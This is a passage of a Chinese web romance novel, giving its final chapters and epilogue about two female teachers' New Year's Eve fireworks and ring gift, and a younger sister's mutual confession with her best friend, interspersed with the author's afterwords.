“欸~”林筝墨被她拉着原地不动,故意让简越回头看她,“我六十岁的时候你会不会这样拉我?” “拉!” “到时候还拉我去监考吗?” 简越愣了一下,笑出声来:“如果到时候还没退休就拉吧。” 林筝墨从床上下来,拉着简越往前走,“我也可以拉你。” 简越又往前一些,“我拉你。” “我拉我拉。” “我拉。” 俩人忽然起了胜负欲。 “我拉你嘛!我是你老婆!” “我也是,我拉你,我拉你。” 拉来拉去,林筝墨带着笑腔:“不要,六十岁才不拉你!” 简越:“不好意思哦没有这个选项。” 南城飘雪,车子缓缓驶入学校停车场,宽绰的走廊,学生们一一涌入考场,肃然的铃声响起,严阵以待,笔纸唰唰的声音。 讲台上,林老师在发呆。 看窗外飘雪,觉得美丽至极。 拍一张发给简越:“你看树上的雪好漂亮,在干嘛呢。” “我正在想你呢。”—— 作者有话说:还有2章完结 周3完结哟! 大家一定要来看最后甜甜的两章捏[彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第112章【正文完】 第112章 第一百一十二章 林筝墨,林老师,新年…… 第一百一十二章 除夕这天, 周京芳大摆饭宴,家中从未来出现过这么多的客人。 林筝墨原本还有些紧张,但简越的家人比想象中好相处得多,吃饭时赵筱筱尤其活跃, 最直接的感受是, 她不再叫林筝墨“林老师”, 而是“姐”。 “姐,新年快乐。”筱筱捏着一杯可乐, 非要和林筝墨碰杯。 林筝墨还没从这称呼中回过神来, 赵筱筱的可乐已经主动碰过来了,小家伙唇角噙着笑,终究还是情难自禁:“你知道我等这一天等多久了吗!!!” “我不知道。”林筝墨是真不知道。 赵筱筱乐不可支:“一个字, 爽!” “你吃点儿吧。”简越加入对话:“别胡说八道了。” “就知道说人家。”赵筱筱嘴巴撅起,低声嘟哝:“和你断绝姐妹关系,我要当林老师亲妹妹。” 简越发笑:“那太好了, 压岁钱可以不用给了。” “哎呀姐我开个玩笑嘛~”赵筱筱往简越胳膊上靠,“祝你新婚愉快百年好合永远幸福。” 简越:“?” 林筝墨:“?” 是不是说错祝福词了, 这是过年呢孩子。 但还是一人发了她1288, 收款的时候赵筱筱合不拢嘴, 一边收入囊中一边暗示简越:“最近看的那双鞋终究是太贵了,如果还能拥有一双鞋的话, 我的春节就圆满了。” 林筝墨:“我给你买。” 赵筱筱原本想精准打击简越, 没想到林筝墨接了招, 战术后仰:“什么?不太好吧?” 林筝墨:“你是我妹妹有什么不太好的。” 赵筱筱的唇角疯狂上扬,摆起手来:“姐,使不得使不得。” 推推辞辞,不要不要, 心想快买快买求求你了。 人狠话不多。 手机提示音: 支某宝到账—— 5000元。 赵筱筱吓得捂住听筒,发现大人们正忙着朗声说话,没人注意到她。 “给得太多了!太多了!!!”筱筱偏过头,在林筝墨耳边爆言,“那双鞋799!!” “慢慢花。”林筝墨面不改色给她夹菜,给赵筱筱一粒定心丸:“这是给你的,我谁也不说。” 一旁默不作声吃饭的简越:“” 老婆豪横。 又睃了赵筱筱一眼,我谈恋爱你享福是吧? 席间,大人们的古早话题根本插不进去,她们居然已经聊到年轻时候村里耗子药毒死人的事了,年轻人完全跟不上节奏。 林筝墨发现,周京芳实际是非常健谈的,说话时配上一点肢体动作,偶尔,她也会肆意盎然地发笑,这种笑容令林筝墨感到陌生。 原来她也不那么了解周京芳嘛,不了解妈妈年轻的时候去偷过玉米,还偷偷和林鸿谈恋爱,结果电影院亲小嘴被外婆发现,回家被打,又咬死不承认我怎么会喜欢那个竹竿男!! 哦,妈妈们的青春也那么精彩。 酒酣耳热,腹饱肚胀。简越在桌下轻轻戳林筝墨的手臂,暗示她是不是可以出发。 她俩有一个逃跑计划,要开车去乡下放烟花,为此简越专程滴酒未沾。 林筝墨在微信上发消息:【她们聊好开心,开不了口。】 简越:【我感觉她们肯定问我们要去哪,让待在家里到十二点,不让走的。】 林筝墨:【那怎么办。】 简越放下手机,思索片刻,目光忽然定格在赵筱筱身上,这不是现成的借口吗? 她给赵筱筱发消息。 接到任务的赵筱筱不敢懈怠。 “妈,姨妈,周阿姨,爸,林叔叔。”赵筱筱心不甘情不愿地背人名儿。 “怎么了?” “我要出去。”赵筱筱心虚嘟囔着。 “出去干啥啊,家里看联欢晚会呗。” “但是我想让姐她们带我出去放烟花。”赵筱筱扭扭捏捏。 “放什么烟花,城里放不了一点,你们就在家看电视嘛,等会儿十二点咱们还得一起跨年呢。” 果然,拥有守岁习俗的长辈,必然是不会放小年轻去乡下的,对她们而言,那一刻要一家人待在一起才有意义。 “我让姐她们十二点之前带我回来。” 其实无人在意,索性放她去了,“那说好了啊,到点回来,不许调皮。” “嗯嗯嗯嗯嗯嗯嗯嗯。”赵筱筱左手拉简越,右手拉林筝墨,三人开开心心出发。 然而,赵筱筱刚到楼下就被下了逐客令。 简越:“你去找沈礼萍玩吧。” 赵筱筱:“?” 林筝墨不语,笑盈盈地看着简越,看她要怎么说。 简越倒是直接多了:“我们谈恋爱你就不要当电灯泡了!” 赵筱筱心想,我cp头号粉居然看不到你们打啵儿,那是我人生遗憾,但事已至此,为了你们的浓情蜜意,我还有什么办法呢。 “服了。”赵筱筱咬牙切齿:“你就知道利用我!” 简越朝她勾勾手指,“别叫,我支某宝再转你……” 在金钱面前绝对不许不低头。 赵筱筱笑逐颜开,点头哈腰:“嗯我找小萍去,那个,辛苦了,玩开心,要不要我把你们送上车?” * 脱离筱筱,终于得来二人世界。 驱车前往目的地,是南城郊边的一个村庄,那边是允许放烟花的地点。 简越开车,林筝墨坐副驾,城区霓虹闪烁,五彩斑斓的光影像一条丝绸,从这条街牵接到那条街,把整个城市妆点得很有过节的气氛。 林筝墨:“怎么突然想喝奶茶。” “点!” 停靠路边买了一杯牛油果芝士,打包带走。市里堵了会儿车,终于往郊区开,郊边的路灯要淡许多,不似城市那般光鲜亮丽,白炽光在夜光下呈现出一种灰赭色,反而令人感到一种新鲜的宁和。 林筝墨将奶茶从包装袋里拿出来,慢条斯理拆掉吸管包装,插好喂到简越唇边。 “老婆先喝。” 后视镜里反射出简越的笑脸,她抿了一口,“还不错,好喝。” 林筝墨自己也喝了一口,浓郁芝士味道带点牛油果的清甜,两者结合在一起就是一种不错的口感。 简越说:“我还要喝。” 林筝墨喂她。 她又道:“感觉这一口比上一口好喝。” 日常甜言蜜语,暗示林筝墨喝过的要美味一些,明明已经不知道听过多少次类似这样的话语,但听到林筝墨还是会脸红心跳。 别过头。 窗外的田埂里藏着雪,看起来种的是冬白菜,冬白菜,一路的白菜,在眼前晃成一条明亮的墨蓝与白雪交织的影,影附着在车玻璃上,后视镜上,隐约之间还透着林筝墨那张脸,仿佛被光影清洗过,蓊蓊郁郁的树影在她脸上晃荡,明暗交叠,清冷动人。 “快到了。”简越打了转向灯,逐渐将车子开到一户人家门口,在空旷的草坪停下。 放烟花没有固定地点,政府要求是只要不是城里即可,在乡下不要坏了人家的农田就行。 俩人下车,四面漆黑,冷风袭来,却不觉得冷。简越从后备箱里拿出早准备好的烟花,与林筝墨一起搬下来,一同寻找好的放置处。 “那边那边。”旁边屋子里忽然走出一个老奶奶,双手揣棉袄兜里,倚在门前,指了指前面一百米的地方,“那边空,好放,看得也清楚。” “噢,谢谢了。”简越与她寒暄几句,老人家说今年年轻人都不回家,家里就她一人,有点冷清,往年她家里人都在那边放烟花的。 林筝墨心头一酸,多与她聊了几句,但还是和简越把烟花搬过去先。 “几点放呀?” “都是十二点嘛。”简越将组合礼花放在空旷处,看了眼时间,现在才十一点半。 “半小时也快。”林筝墨环顾四周,觉得这里其实有点黑,但好处也有,那就是人少,就她和简越俩人。 “没事,我们可以去那边转转。”简越指着隔壁某鱼塘,“走,去偷鱼。” 林筝墨:“?” 简越:“开个玩笑啦!” 就这么爱说冷笑话。 拉着林筝墨去那边探险,说是探险,无非就是走走,散散步,透透气。 长大之后几乎很少来乡下,过年更是待在家,哪里感受过这样的孤静,只是忽然发现原来有的人过年也不热闹,比如先前那位阿婆。 “你说人老了之后会很孤独吗?”林筝墨忽然感慨道。 “怎么会孤独,我们会一直一起。” “但我们又不是同一天死。” 哇,大过年的怎么说这么悲伤的话题,简越愣了一下,跟着心头泛酸。 “才不会孤独!我会保持健康,长命百岁,一定走在你后头。” “走在我后头。”林筝墨笑:“这到底是祝愿还是诅咒。” 她原本还在笑,忽然被简越拉过去,没反应过来,简越已然将她拥入怀中,耳边絮絮叨叨:“林筝墨老了才不会孤独,林筝墨老了才不会孤独,简越才不会让林筝墨孤独。” “真的假的?”林筝墨顺着她的话说。 简越嗯了声,“等我们老了,科技肯定发达,要是我走在前面,我就给你买一个和我一模一样的机器人。” 林筝墨惊呼:“谁要和机器人谈恋爱!” “不要机器人,那也没有小小简越。” 她们不会生孩子,双方都觉得没有生育的必要,以及认为对彼此身体伤害很大,这一点是绝不会考虑的。 但转念一想,林筝墨内心忽然有了答案:“我想我老了不会觉得孤独的。” “为什么?” “因为我在年轻的时候就已经拥有你了啊。” 难道孤独是一蹴而就的吗?孤独也没有那么神通广大吧。在漫长岁月里和这个人共度余生,到底能获取多少幸福,林筝墨其实是极其笃定的。 她觉得简越能做到,她也能做到。 四处漆黑,却无一人,只听到脚边的农田沟渠里发出汩汩流水声,林筝墨再上前一些,裤腿拨动四面的青草,发出稀疏的声音。 “所以一点也不担心了。”林筝墨贴过去,主动去吻简越的脸,冰冷的唇贴在肌肤上,很快燃起躁意。 从脸颊移动到唇,接吻的时候有点肆无忌惮,除夕与昏黑不搭调,但嘴唇和热烈却很适配。 林筝墨吻得急,好似要把简越的魂魄从身体里抽离出来,好霸道地占为己有,舌间还蔓延着清甜的牛油果香,然后,简越的回应也熟极而流。 火热升温。 吻到嘴唇红肿,林筝墨脚底虚浮,有点站不稳。 简越移开唇,笑她:“小心点,林老师,掉到田里去滚一身泥,咱们回去说什么都不好交待。” 林筝墨锤她,“你有时候说话一点都不好听!” 下一秒,夜空中忽然升起一颗星,还未来得及反应,星花在墨水瓶里绽放开来,点燃了整个夜,那烟花发出淅淅哗哗的声音,又从天缓缓坠落,是慢倍速的漂亮雨。 林筝墨猛然抬头,眼底漾着惊喜:“十二点了吗!” “还没有,应该是有人等不及了。” 那一炮礼花像是冲头鸟,四面八方的小苍蝇纷纷跟上,子弹似的咻咻飞上天空,烟花在墨色中竞相开放。 远处近处的,大家都不管了,十二点不十二点的,先放了再说。 林筝墨生出兴致来,“不然我们也先放吧?想看。” “好啊。”简越拉她走回头路,去草坪点属于她们的烟花。 那是简越提前买好的组合烟花,据说有一百发,不算夸张但绝对漂亮,她有看过效果视频,是清新淡雅的小茉莉以及可爱小猫,林筝墨一定会喜欢。 拆开包装,置放在草坪上。 林老师跃跃欲试,“打火机打火机呢。” 简越在兜里摸来摸去,“完了,好像没带?” “怎么会,刚下车还看你捎上的。”林筝墨记得简越当时揣口袋里,主动去摸,摸到了,瞅简越一眼,发现简越在笑,“你又骗我!” 不理简越,蹲身要去点烟花的芯,忽然又顿住了,抬头看简越:“有点害怕呀!” “没有点过吗?” 林筝墨摇头,“没有,小时候我妈不会让我碰这种危险的东西。” 然后长大之后不感兴趣了,但现在兴趣又回来了。 “没事,我跟你说怎么弄。”简越与她一同蹲下,将燃芯放在食指上,“你看它挺长的,点燃你就撤,我还在你旁边呢。” “喔。”林筝墨捏着打火机,纤瘦的指骨很好看,她摁下,小火苗在线芯上一点,“席”的一声,燃烧着林筝墨的心弦,她迅速拉着简越退开,约莫过了几秒钟,礼花不是“咻”的一下,而是“咻咻咻”好几下同时升上天空。 哗啦—— 可爱小猫在天空中绽放,旁边配了两束花,一瞬间羡煞了林筝墨的眼。 “别人都是花,我们还有猫!” “喜欢吗?” “喜欢!好可爱啊!” 简越从身后去拥抱她,一只手搂着林筝墨的腰,前身紧贴着她,呢子大衣让她们都觉得很暖和,这姿态和往常没什么区别。 林筝墨只管看天空,沉浸在五彩斑斓的喜悦里,那种幸福溢满的感觉萦绕在心头。 简越另一只手去摸衣兜。 戒指是提前一周准备好的,不是求婚,不是订婚,不是任何与婚约相关的寓意,只是想在新年伊始的时刻,送给爱人最真挚的祝福。 它可以有一万种含义。 如何定义交给林筝墨来决定。 简越捻起那枚戒指,不露声色捏在手心,另一只手裹紧了林筝墨的腰,她贴在她耳边说:“林筝墨。” “欸?” “林筝墨。” “干嘛干嘛?” “你手冷不冷?” “冷。” “我给你捂捂。” 林筝墨伸出手去,简越牵她,不知道怎么的,简越的手总是要比林筝墨暖一点,所以林筝墨也总是情愿给她捂。 简越的手掌像晴天晒过的麦子,除了暖还给人一种踏实感,觉得放松,林筝墨稍稍后仰,将一点点身体的重量交付给简越。 她们抱着彼此温存了一会儿。 忽然,更多的人开始放鞭炮,四面群山、农田、草坪、到处到处,噼里啪啦地响。 睁开眼,意识到这一刻十二点了。 新的一年已然降临,小小的鞭炮炸出新的渴望,烟花的温度坠入眼睛里,好像一切都焕然一新。 新的春夏秋冬,新的南城,新的酸甜苦辣。 忽然之间,林筝墨忽然觉得无名指有异样,冰凉的环从指根推到指尾,在她毫无预料的那瞬间,心尖像是弹簧拨动的那一下,反复震出余音。 烟花的一百环结束了,但四面的声音却愈发震耳欲聋。 林筝墨有种悍然的心动,她觉得打火机点燃的不止那一点点烟花的线芯,而是整个世界,一路摧枯拉朽地燃烧着整个心房。 于是,那个关于“孤独”的话题,在此刻有了答案。 “林筝墨。” “林老师。” “祝你新年快乐。” (全文完,番外等会儿更。)—— 作者有话说:[爆哭][爆哭][爆哭] 虽然还有一章番外,但我好舍不得呢咋回事[爆哭][爆哭]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第113章【番外】 第113章 唯一番外 内容保密!!!…… 唯一番外 夏天刚开始的时候, 张老师退休了,赵铭老师升副主任了,办公室换到楼上了,窗外的风景变了。 当然, 所指的这个“夏天”, 已是三年后的夏天了。 送走一届学生, 林筝墨又变成了高一老师,有时路过新的高一1班, 早读依旧是万年不变的: “exchange、exchange——” “lecture、lecture——” 时常感到恍惚。 单词还是单词, 语法还是语法,而林筝墨 林筝墨也还是林筝墨。 一双浅色单鞋,素淡的白色长裙, 总是长发披肩,做事慢条斯理,说话温静宁和, 拥有无限耐心,永远是全世界最好的林老师。 早自习下课铃声响起。 “林老师林老师!”学生忽的从教室门槛里冲出来, 抓着林筝墨的胳膊, 往她手心塞一颗棒棒糖, “给你的!!” “诶你不要贿赂我喔。”林筝墨唇角漾着笑,“我记得你上次听写没过。” “这次准过!”学生笑笑跑开了。 简越从楼道拐角走出来, 很快出现在林筝墨的视线里, 林筝墨看向她, 瞳孔里瞬间聚满色彩。 关于在学校要装不熟的合约早失效了。 连学校的小狗都知道,林老师看到简主任,一定是春风满面,虽工作上交集甚少, 但却是经常同行同路的。 她俩索性也不装了。 对,好姐妹,一生一世的好姐妹。 简越停在她面前,笑盈盈地说:“咱晚上外面吃啊。” “不做饭?” “筱筱放假回家了。” 林筝墨回忆起来,“噢,前天她微信上说她想吃汤锅。” “对,她好像还有什么事要和我们说,神神秘秘的。”简越对林筝墨眨眨眼,“晚自习不守了,先回去一趟。” 林筝墨忙接话:“我也是。” 眼神对视的结果就是,商量一同回家换衣服 家在距离学校三公里的小区,两年前就搬进来了,家里宽绰有格调,装修风格走的原木风,有个超大的阳台被简越用来种花。 春夏秋冬都花花绿绿的,她又喜烹饪,家里锅碗瓢盆都很精致,把生活过到极致,活人气息很足。 开门时泡泡依旧在沙发。 小猫终究还是成老猫了,现在她们回家,它连眼睛都懒得抬一下,兴许觉得费力,整日整日窝在沙发,它不舍得动,林筝墨便主动去摸它,偶尔兴致来了,也会伸出舌头舔舔手心。 酸涩。 小泡泡也老了,就要更宠爱它才行。 “今天穿什么?”简越在衣帽间挑衣,她和林筝墨在色彩上相似,都以黑、白、蓝为主。 “我穿裙子。”林筝墨走进来,“那条。” “那我穿这个。”简越挑了一件和她色系相似的衬衣,“过来过来。” 镜子里她俩并肩站在一起,简越倒也干脆,三下五除二只剩一件内l衣,下半身一条牛仔裤,露出紧实的腰腹,透过镜子眼神示意林筝墨。 林筝墨懂装不懂,只是看着她进行,并没手上的动作。 “你不换吗?” “你先换,换了我再换。”林筝墨不动如山。 “哦~”简越伸手拉林筝墨,让林筝墨贴在她怀里,“但平常不是都一起在换。” 是。 昨天一起换的。 被搞。 前天也一起换的。 被搞x2. 一年三百六十五天,能休息的到底有几天呢。 要是上班也这么勤,怕是要当校长了。 林筝墨承认自己确实很喜欢进行这件事,但她已经肿了,吃不消了。 “为什么啊。”简越这边还很费解,“你不爱我了!” “你自己清楚。”林筝墨抬眼看她,妄图从简越眼底探出一二,结果下一秒简越又靠近过来。 对视一瞬间点燃欲念的星火。 在拒绝的下一秒林筝墨忽然不想拒绝,好吧,这周的最后一次 在沙发。 情浓意绵。 放纵的结果是忘了时间,原计划二十分钟,结果你来我往足足花了一小时。 脚尖触碰地面那瞬间,林筝墨就知道自己今天少走路为妙。 早已不是林·五十秒。 一双手捞在简越肩上,脸颊还有余下的红润,薄薄一层汗,轻轻哼一声:“你帮我穿吧。” 没有力气了 * 赵筱筱今年大一,已经放暑假了。 她这万年学渣居然也上了南大,当年高考成绩出来后,大家称她为年级上的一匹黑马,分数确实惊艳了所有人。 当初的约定好像实现了,她和沈礼萍的确在上同一个大学。 南大虽然离家近,但赵筱筱是一点都不想回家的,但在外面租房子又是一笔开销。 万事虽难,好在有姐。 她一提,林筝墨那股宠妹劲儿立马就来了。 于是,林筝墨以前的小公寓拿给赵筱筱住了,因为害怕,赵筱筱又拉沈礼萍当她室友。 多年以来,两人都是最好的朋友。 但最近赵筱筱变得苦恼起来,因为她发现自己对沈礼萍的感情好像变质。 起因是上周天,她和小萍躺在沙发追剧,投影仪里播放的是某个巨人乱跑的动漫。 时值初夏,空气溽热。 沈礼萍喂她吃西瓜,赵筱筱只咬了一半,被剧情吸引了,等回过神来时,另一半已经被沈礼萍吃了。 她们经常一起吃同一个东西。 但那一瞬间,赵筱筱的腿就搁沈礼萍腿上,从前怎么没觉得这动作很亲昵?随之,内心感到一阵慌乱,她居然觉得沈礼萍咀嚼西瓜时,嘴唇水润润的很好看。 是那种让人想亲的好看。 当场吓晕 对自己挚友产生欲念,这是一件多么可怕的事情! 从那天开始,赵筱筱哪哪儿不自在,有时候沈礼萍洗完澡裹浴巾出来和她说话,她一个纯血女同,说着说着目光飘人家锁骨去了,出浴画面,看一眼就受不了。 然后晚上开始做梦,醒来一脸茫然。 可沈礼萍是什么情况,赵筱筱再清楚不过了。 小萍根本没有谈恋爱的心思,这么多年来连喜欢的人都没有一个,赵筱筱称她为无性恋者。 饭局上,赵筱筱苦不堪言。 对简越大倒苦水:“姐我真的不知道怎么办了!” 简越听得云里雾里,怎么就突然友情变质了,“那你不和她住?” 赵筱筱一阵哀嚎:“那怎么可能嘛,我已经和她住了这么久了,我根本就” 开不了口。 根本就离不开她了!! 林筝墨却有别的想法,沈礼萍和赵筱筱都是她曾经的学生,她们俩关系好是有目共睹的。 但有一点林筝墨一直都很困惑,那就是沈礼萍看赵筱筱的眼神,这一点,心细的林筝墨很早注意到。 那几年,好多个瞬间,林筝墨都发现了这一点,沈礼萍的眼神总是追随着赵筱筱,任何时候。 也许是因为自己也喜欢女孩子的原因,林筝墨隐隐约约觉得,那种眼神似曾相识,另有端倪。 “那她有谈恋爱吗?” 赵筱筱摇头,“完全没有,她的心思完全不在这里,我怀疑她甚至是个无性恋!” 林筝墨刨根问底:“证实过吗?” 赵筱筱摇头,“没有,但她有问过我有没有喜欢的人。” 自从和姜屿谈过之后,赵筱筱没有再谈恋爱了,上大学之后有不少人追她,女男皆有,但她并无此意,觉得现在的生活就很好。 “那有没有可能,她对你不仅仅是友情?”林筝墨暴露自己的想法。 “不是吧?”简越觉得不可思议:“她们俩这么多年的朋友诶。” “可是她对筱筱百依百顺的,那忘了那次还有那次吗?” 那次还有那次。 反正很多很多次,赵筱筱出岔子,捅娄子,沈礼萍都会第一时间跑出来,她很护着她,给人感觉是可以为赵筱筱牺牲一切。 一语惊醒梦中人。 林筝墨简简单单一句话,在赵筱筱心头燃起火焰,是从来没预想过的可能,但现在一想到就走不出去了。 她忽然心跳好快。 “那怎么办?” 林筝墨:“胆子小的话,可以再多观察试试。激进一点的话,不如告诉她,说你有喜欢的人了,试探一下她的反应?” “诶也不是不行。”简越说出自己想法:“试探一下她的反应,但我不是完全推荐,可控性只占一半。” 赵筱筱性子莽,哪儿经得起煽动,她拿出手机开始编辑 “发,发,发不出去。”内容已经写好了,手指颤颤巍巍不敢发,但心一横,一咬牙。 咻! 消息一发出去石沉大海。 沈礼萍并没有回复她。 * 聚餐完已是十点了,简越把筱筱搁在公寓楼下,让她好自为之。 电梯里,赵筱筱青稚的脸庞一阵红一阵紫的,手心渗出冷汗,仿佛回家就是上战场。 沈礼萍不在家吗? 可是开门回去的时候人又在,小萍只是安安静静地坐在沙发看电视,人虽瘦小,却是极其有特色的。 沈礼萍的好看是耐看,一张清秀的瓜子脸,下巴尖尖的,皮肤通透白皙,偏文静那一挂。 赵筱筱相貌则甜美一些,乖乖的很讨人喜欢。 “我回来了。” “嗯。” 她只是看电视,不曾挪眼过来。 赵筱筱放下书包,“我给你带了奶茶。” “好。” “你怎么了?” “没。” “奶茶不喝吗?” “你先冻冰箱好了。” 赵筱筱冻冰箱,又回过来,坐沙发上去,俩人却保持着一拳的距离。 自从心态产生变化后,赵筱筱甚至很少和沈礼萍有肢体接触。 若是从前,她脚早搁人家腿上去了。 啊。 好安静。 沉默。 爹的。 烦。 早知道不说。 啊。 杀了我吧。 爱上女人是我的错? 救命啊。 我是人吗? 爱上我的好朋友。 “那个——” “嗯?”赵筱筱严阵以待。 “所以最近对我这么客气是因为有喜欢的人了。”沈礼萍保持语调平静,探不出她的情绪来。 “我什么时候对你客气了?” 沈礼萍倒是直接:“你不和我有肢体接触了,是你女朋友不让了吧。” 她很少对赵筱筱说话这么劲劲的。 以至于赵筱筱愣了一下,心都快碎了。 宝宝你怎么可以在这么关键的时期对我说话这么凶呢,我真是全世界最可怜的人,爱而不得就算,还要得你冷脸,我女朋友八字还没一撇呢,搞不好逐出家门。 “我”赵筱筱少有哽咽起来:“我没有,我也还没有女朋友啊。” “那以后会有的。”沈礼萍拿起遥控,摁了关闭。 客厅里唯一的声源消失了,落针可闻,有时候沉默很吓人,但却没有眉目,找不出源头来。 赵筱筱不知道自己哪句话说错了,但她愿意承认错误。 “那对不起” 沈礼萍难看的表情瞬间有了裂隙,话音也软起来:“你干嘛要说对不起。” “俺不知道。” “” “但你不开心了。”赵筱筱伸手去拉沈礼萍的手,“你不开心,我就觉得自己不对。” 赵筱筱性格甜,很少和人争执起来。 沈礼萍有种绝望的悲伤,以及饱闷的痛苦,如此晦涩的情感终究是要揭开的一天,再装下去,只是隔靴搔痒,饮鸩止渴罢了。 “你喜欢谁。”沈礼萍的目光落在地板上,她看着自己和赵筱筱的拖鞋,“是不是社团的学姐。” “不是。” “王磊?张明?许金?还是周施雅?李舟?还是那个,那个郭娟。”沈礼萍越说越气,甩开了赵筱筱的手。 赵筱筱赶忙拉上,“小萍你记性就是好,喜欢我的你都记得。”下一句:“但都不是。” 沈礼萍蹙眉,“那到底是谁嘛!” 要杀要剐痛快一点好不好! “沈” “沈青青,我就知道。”沈礼萍几乎是瞬间掉了眼泪,她根本控制不住,“是了,很配,连名字都是情侣的。” 赵筱筱愣住。 下一秒连忙滑跪:“什么啊,啊,你别哭!不是沈青青!” 她去抱她,用纸巾给她擦泪,可沈礼萍眼角像坏了的水龙头,怎么也止不住。 赵筱筱的嘴巴好像长了导航,忽然以百米速度贴在了沈礼萍的眼睛上。 她开始吻她的眼角,用舌尖舔她的泪。 温热的舌尖令沈礼萍浑身颤麻,可憋屈令她哭得更厉害了。 为什么不用纸而是嘴,呜呜呜呜你又不属于我可是我好心动但爱而不得太难过了。 “怎么可能是沈青青呢。”赵筱筱压着狂跳的心脏,“明明是沈礼萍,是你。” 因为受到惊吓沉默。 下一秒—— 沈礼萍瞬间抱着赵筱筱大哭。 “呜呜呜呜” “对不起!” “不要对不起,其实,其实,我也喜欢你。” “啊你别骗我!” 沈礼萍不语,捧着赵筱筱的脸,湿着泪去吻她。 柔软的唇贴在一起,味道好像糖霜。 筱筱只觉得呼吸变甜了,耳边,窗外的风嘶嘶流进来,流窜在她与沈礼萍之间。 今天是星期几?忘了。 但今天心情很好。 真的。 (全文完完完,劳烦各位看看作者有话说。)—— 作者有话说:完结啦!!!! 不知道看完这本大家什么感受呢?好像好久没有写这么甜的故事了。 那么既然已经完结了,写一些感想在这里叭。 其实也没什么hhh 想起开文的时候夏天还没来,现在秋天已经都要走掉了。今年甘师傅经历了好些事,比如结束了一段七年的恋情,开始学着照顾好自己,努力工作,学习新东西,然后学着往前走,接受一切事情。 我记得很清楚,暑假整日以泪洗面那段日子,有一天我在床上真的绝望到顶了,觉得不然就这样吧,产生了非常消极的想法,但那天凌晨我翻开评论区发现好多人都在关心我,于是我哭得更厉害了,是到今天回忆起来也很感动的地步。 所以没有大家的支持,这本应该也完结不了。 一开始写《林老师的秘密情人》,它并不是我原本打算写的那本,但有一天灵感突发写下了第一章,于是果断有了第二章,第三章。这个可爱的小故事在我脑袋里就这么自然而然出现了,果然,整个书写的过程也很流畅,仿佛只是在记述一些东西,并不觉得煎熬和困难。 准确来说,这本书对我来说意义非凡,因为它也陪我度过了人生中很难捱的日子,写它的时候,能带走我的不快乐。 所以常常也觉得林筝墨和简越是我的朋友,能给我力量的朋友。 以及,我也很喜欢赵筱筱这个人物,包括张老师,以及褒贬不一的周京芳,简桑等等等 我爱这个故事里的每一个女性人物,也很骄傲她们能诞生,从一个虚无变成了真实存在的东西。 那么我要祝福她们在自己的世界里永远幸福。 最后,亲爱的朋友们,我也祝你们永远快乐、健康、幸福!!谢谢你们对我的支持和鼓励,安次甘儿会继续写下去[彩虹屁] 好叭,就说这么多,如果喜欢这本书的话,就给一个五星好评吧!打分入口在评论旁边的[评分]里。 那么我们下本见! 下本写《我当网管那几年》欢迎大家来看哦[彩虹屁] 本章评论区发红包,还有,我要在全订里抽奖!![彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m